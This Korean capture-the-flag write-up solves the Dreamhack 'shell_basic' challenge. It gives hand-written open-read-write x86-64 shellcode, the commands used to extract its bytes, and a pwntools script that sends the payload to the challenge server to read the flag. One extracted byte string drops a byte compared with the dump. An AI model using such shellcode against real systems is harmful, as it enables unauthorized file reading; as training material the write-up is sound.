드림핵 shell_basic 문제 풀이
1.파일 다운로드
문제 파일을 받으면 shell_basic과 shell_basic 파일이 있다.
이 파일을 구름ide로 가져온다.
2.코드 분석
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
위 코드를 보면 printf 함수 이후 shellcode 메모리 영역에 위치한 코드를 실행하는 코드임을 알 수 있다.
챗gpt에게 맡기면 잘 해석해준다.
3.asm 코드 만들기
execvem execveat 시스템 콜을 사용하지 못하기 때문에 orw(open, read, write) 시스템 콜을 사용해야 함을 예상할 수 있다.
flag 파일의 위치와 이름이 /home/shell_basic/flag_name_is_loooooong
으로 주어졌으므로 shellcode 메모리 영역에 이 위치를 넣으면 flag 파일이 실행되어 내용을 볼 수 있을 것 같다.
section .text
global _start
_start:
push 0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall ; call open("/home/shell_basic/flag_name_is_loooooong", O_RDONLY(0x00), NULL(0x00)
mov rdi, rax
mov rsi, rsp
sub rsi, 0x1000
mov rdx, 0x1000
mov rax, 0
syscall ; call read(fd, buf, 0x1000)
mov rdi, 1
mov rax, 1
syscall ; call write(fd, buf, 0x1000
앞의 강의에서 배운 내용대로 orw코드를 작성할 수 있다.
경로를 지정하여 open으로 파일을 열고 read로 읽은 후 write로 입력하는 기능의 코드이다.
4.쉘코드 byte로 추출
위의 코드를 write.asm이라는 이름으로 만든 후 쉘코드를 추출해야 한다.
사실 왜 바이트 코드로 입력해야 되는지는 이해하지 못하였지만, 검색해보니 쉘코드에 다들 바이트 코드를 넣어서 풀었다.
문제에서도 바이트 코드로 바꾸는 예시 코드를 제공하긴 한다.
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 6a00 48b8 6f6f 6f6f 6f6f 6e67 5048 b861 j.H.oooooongPH.a
00000010: 6d65 5f69 735f 6c50 48b8 632f 666c 6167 me_is_lPH.c/flag
00000020: 5f6e 5048 b865 6c6c 5f62 6173 6950 48b8 _nPH.ell_basiPH.
00000030: 2f68 6f6d 652f 7368 5048 89e7 4831 f648 /home/shPH..H1.H
00000040: 31d2 b802 0000 000f 0548 89c7 4889 e648 1........H..H..H
00000050: 81ee 0010 0000 ba00 1000 00b8 0000 0000 ................
00000060: 0f05 bf01 0000 00b8 0100 0000 0f05 ..............
문제의 예시대로 진행하면 위와 같이 아까 작성한 코드를 바이트 형태로 볼 수 있다.
이 코드를 챗gpt를 활용하여(노가다 해도 됨) 쉘코드 형태로 추출한다.
직접 추출한 쉘코드
\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xee\x00\x10\x00\x00\xba\x00\x10\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
5.pwntools로 쉘코드 실행
이제 문제 서버에 접속 후 pwntools로 쉘코드를 실행만 해주면 된다.
구름 컨테이너에 오류가 있는 건지 pwntools가 실행이 제대로 안 돼서 python 컨테이너를 새로 만들어서 실행해 주었다.
우분투를 사용한다면 그냥 .py 파일을 만들어서 실행하면 될 것 같다.
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 22858)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x81\xee\x00\x10\x00\x00\xba\x00\x10\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
data = p.recvall()
print(data)
remote로 서버에 접속한 후 아까 구한 쉘코드를 입력하고 $ python3 (파일명)
을 실행하면 쉘코드가 입력되어 flag 파일이 실행되고,
data에 저장된 내용이 보이게 된다.
정리
쉘코드 작성 자체는 쉬웠는데 바이트 코드로 바꾸고 pwntools를 사용해야 한다는 생각이 더 어려웠다.
pwntools의 shellcraft를 활용한 풀이가 많았는데 shellcraft를 활용해 보는 것도 좋을 것 같다.
그래도 처음에는 어셈블리어를 직접 작성해보는 것이 의미있다고 생각된다.